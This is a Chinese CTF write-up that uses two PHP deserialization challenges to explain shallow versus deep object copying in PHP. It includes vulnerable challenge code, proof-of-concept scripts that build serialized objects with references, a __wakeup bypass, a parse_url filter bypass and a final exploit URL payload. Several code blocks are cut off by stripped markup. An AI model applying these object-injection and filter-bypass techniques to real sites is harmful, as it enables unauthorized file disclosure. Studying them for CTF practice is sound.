从两道题目浅谈PHP深浅拷贝

从两道题目浅谈PHP深浅拷贝 0x01 前言 最近才认认真真看完PHP,虽然还是有很多地方不会应用,因此想多看看有关PHP的题目,看到了两道和PHP深浅拷贝有关的题目,自己也把它搞懂吧。。
0x01 正文 题一:南邮ctf的PHP反序列化

secret = "*"; if ($o->secret === $o->enter) echo "Congratulation! Here is my secret: ".$o->secret; else echo "Oh no... You can't fool me"; } else echo "are you trolling?"; } ?>

题目意图很简单,就是先设置了对象的一个属性的值,如果另一个属性的值和这个设置好的值相等,则得到flag,而get_magic_quotes_gpc()$pass=stripslashes($pass)只是把加上的转义字符又给去掉,似乎对这个题没有什么影响。最初我以为$o->secret = "*"就是把这个属性的值设为*,其实是设置成了任意字符,那我们如何将这个满足$o->secret === $o->enter这里就要用到PHP深浅拷贝的知识。
我们举一个栗子:
name = $name; } }$ex1 = new Example('test1'); // $ex1->name现在是:test1 $ex2 = $ex1; // $ex2->name现在是:test1$ex2->name = 'test2'; // 这样修改一下之后,$ex1->name与$ex2->name都变为了:test2

现在我们应该可以理解对象间引用的概念,他们就相当于是同一个类的同一个对象,PHP5默认通过引用传递对象,假设$obj1和$obj2是两个对象,使用$obj1=$obj2这样的方法复制出的对象是相互关联的,程序中想复制一个值与原来相同的对象,而不希望目标对象与源对象关联,应使用clone关键字。
$ex1 = new Example('test1'); // $ex1->name现在是:test1 $ex2 = clone $ex1; //$ex2->name现在是:test1 $ex2->name = 'test2'; //现在$ex1->name还是test1,而$ex2->name是test2

这里看到,通过clone之后,$ex1与$ex2是两个不同的对象,他们拥有各自的变量环境。但是这里需要注意,在这两个对象内部,拥有的是值类型的数据,如果是内部拥有的是引用类型,那么通过clone得到的新对象中的引用则仍然指向原引用
因此这里就引申出 浅复制 与 深复制 的概念:
浅复制: 使用clone来复制对象,这种复制叫做“浅复制“,被赋值对象的所有变量都还有与原来对象相同的值,而所有的对其他对象的引用都仍然指向原来的对象。
深复制:被复制的对象的所有的变量都含有与原来的对象相同的值,除去那些引用其他对象的变量。
而如果要进行深复制,应该在类中定义一个__clone()方法,在这个方法中完成对目标对象的属性赋以新值,这里就不过多赘述。
或者利用串行化(冷藏与解冻),即序列化再反序列化:
$tmp = serialize($ex1); $ex2 = unserialize($tmp);

【从两道题目浅谈PHP深浅拷贝】这样得到的$ex2就是一个全新的对象
最后要引出&,属于浅拷贝,举个例子就能明白了:

类似传地址过去,其实它们的改变是完全同步的,或者说它们就是一体的。
因此PHP生成的POC如下:
enter=&$this->secret; //浅拷贝,它们的变化完全同步 } } echo serialize(new just4fun()); ?>

题二: 2019全国信息安全大赛 JustSoSo
这里我是本地进行复现的,23333,只能分析一下PHP了和构造Poc,其他的文件包含读PHP就省去了。。。
hint.php
$v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } }class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); }public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>

index.php
'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } $payload = unserialize($payload); }else{ echo "Missing parameters"; } ?>

通过GET获取两个参数:filepayload
Hint.php中有两个类FlagHandle。主要是通过Handle来调用Flag的getFlag()函数。但在Handle中存在wakeup()函数,该函数会重置所有变量,导致传入的Flag类对象为空。这里可以利用增加对象个数的方式来绕过wakeup函数,增加对象个数时wakeup函数便会失效,这个是比较常见的。还要绕过一层:
function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); }public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); }

这里我们的$fileflag.php,而初始化后,$this->token_flag = $this->token,接着调用getFlag()方法后,重新设置了$this->token_flag,因此在这里也应该是要使用&符号,令$this->token_flag = &$this->token进行浅拷贝。
if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit();

此时还需要绕过?payload=不能出现flag,但是flag在flag.php中,在url多加斜杠即可,///index.php?此时PHP便不会解析成功了。
最终PHP的Poc如下:
$v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } } class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = &$this->token; } } $o = new Flag('flag.php'); $oo = new Handle($o); $ser = serialize($oo); print $ser; ?>

最终payload:
///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle"; O:4:"Flag":3:{s:4:"file"; s:8:"flag.php"; s:5:"token"; N; s:10:"token_flag"; R:4; }}
注意Handle有私有变量,应该加上%00
参考链接:
https://www.cnblogs.com/nul1/p/9418080.html
http://www.lin2zhen.top/index.php/archives/11/

    推荐阅读